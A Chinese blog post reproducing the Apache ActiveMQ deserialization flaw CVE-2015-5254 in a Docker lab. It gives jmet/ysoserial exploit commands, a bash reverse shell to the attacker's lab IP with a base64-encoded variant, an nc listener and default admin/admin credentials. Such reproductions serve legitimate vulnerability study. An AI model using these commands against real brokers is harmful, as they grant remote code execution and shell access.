1. Toy模板网首页
  2. > Toy博客

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

10月前 作者：背着书包打太极 分类：Toy博客 阅读(48) 违法举报

这篇具有很好参考价值的文章主要介绍了ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

1、Apache ActiveMQ

Apache ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件，它支持Java消息服务，集群，Spring Framework等。

2、漏洞产生原理

该组件程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以使一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象利用此漏洞执行任意代码。

3、受影响版本

Apache ActiveMQ 5.x < Apache ActiveMQ 5.13.0

复现流程如下：

靶机IP：192.168.107.129

攻击机IP：192.168.107.130

启动环境

docker-compose up -d

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

查看启动的容器

docker ps

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

访问web页面

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

 攻击机执行以下命令：

cd var/opt 
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

使用下载jmet的jar文件 ，Jmet原理是使用ysoserial生成payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch  /root/sucess" -Yp ROME   192.168.107.129  61616

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

 接下来，我们到web管理页面看是否添加了一条消息

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

 默认账号密码：admin/admin

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

回到靶机 打开靶场的bash，查看消息未触发前/root目录，没有任何文件

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

攻击机单击触发消息后，可见success目录被创建

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现 通过发送构造的payload反弹靶场shell，攻击机使用nc监听

bash -i >& /dev/tcp/192.168.107.130/1234 0>&1

 使用base64编码payload绕过Java机制

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMzAvMTIzNCAwPiYx

构造payload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.107.129 61616

可以看到新增了一条内容

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

攻击机使用nc监听本机的1234端口

nc -lvp 1234

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

 攻击机单击触发反弹shell的payload消息

靶机的shell已经反弹到攻击机的12344端口上

ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

 参考文章：ActiveMQ 反序列化漏洞文章来源地址https://www.toymoban.com/news/detail-499584.html

到了这里，关于ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处： 如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：
领支付宝红包 赞助服务器费用

相关文章

  • WebLogic反序列化漏洞复现+利用工具(CVE-2021-2394)

    WebLogic反序列化漏洞复现+利用工具(CVE-2021-2394)

    Oracle官方发布了2021年7月份安全更新通告，通告中披露了WebLogic组件存在高危漏洞，攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。 这是一个二次反序列化漏洞，是CVE-2020-14756和CVE-2020-14825的

    2024年02月06日
    浏览(96)
  • Tomcat Session(CVE-2020-9484)反序列化漏洞复现

    Tomcat Session(CVE-2020-9484)反序列化漏洞复现

            北京时间2020年05月20日，Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-9484。 Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时，使用不安全的配置（没有使用

    2024年02月01日
    浏览(46)
  • 【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）

    【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）

    感谢互联网提供分享知识与智慧，在法治的社会里，请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞描述 修复方案 1.1、漏洞描述 攻击者可以通过发送一个特别制作的2进

    2024年02月05日
    浏览(64)
  • Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）（漏洞复现详细过程）

    Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）（漏洞复现详细过程）

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征： CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞，攻击者可以利用这个漏洞通过发送精心制作的请求，远程执行命令，从而危及服务器的安全。 进入漏洞目录文件，启动漏洞环境：docker-c

    2024年02月16日
    浏览(51)
  • weblogic反序列化之T3协议 CVE-2015-4582

    weblogic反序列化之T3协议 CVE-2015-4582

    weblogic 的反序列化漏洞分为两种 ，一种是基于T3 协议的反序列化漏洞，一个是基于XML的反序列化漏洞，这篇来分析一下基于T3 协议的反序列化漏洞，本文参考了很多师傅的文章，我会贴在最后面。 [JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-CSDN博客 https://jitpack.i

    2024年02月04日
    浏览(32)
  • 反序列化漏洞及漏洞复现

    反序列化漏洞及漏洞复现

    问题 ：为什么要序列化？ 序列化，“将对象的状态信息转换为可以存储或传输的形式的过程”，这种形式大多为字节流、字符串、Json 串。在序列化期间内，将对象当前状态写⼊到临时或永久性的存储区。以后，就可以通过从存储区中读取或还原（反序列化）对象的状态，重

    2024年02月09日
    浏览(46)
  • 漏洞复现——shiro反序列化

    漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中，经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说，进入正题。 一、漏洞描述： Apache Shiro是美国阿帕奇（Apache）软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(41)
  • typecho 反序列化漏洞复现

    typecho 反序列化漏洞复现

    下载typecho14.10.10  安装，这里需要安装数据库  POC.php  POST数据包如下，访问install.php并携带参数finish，Referer来自本网站，POST传递恶意参数 步骤和前面一样，把payload放__typecho_config=就行

    2024年02月09日
    浏览(52)
  • Fastjson反序列化漏洞复现小结

    Fastjson反序列化漏洞复现小结

    简单来说：Fastjson是解析JSON格式的字符串的，允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名，进而执行类里的恶意代码。 1、Fastjson1.2.24远程代码执行（CNVD-2017-02833 ） 2、Fastjson=1.2.47远程代码执行漏洞（CNVD-2019-22238） 3、Fstjson =1.2.60 远程代码执行漏洞

    2023年04月08日
    浏览(48)

  • Kafka反序列化RCE漏洞（CVE-2023-34040）

    Spring Kafka 是 Spring Framework 生态系统中的一个模块，用于简化在 Spring 应用程序中集成 Apache Kafka 的过程，记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置  ErrorHandlingDeserializer ，当用户将容器属性  checkDeserExWhenKeyNull  或  checkDeserExWhenValueNull  设置为

    2024年02月06日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包，优惠每天领

二维码1

领取红包

二维码2

领红包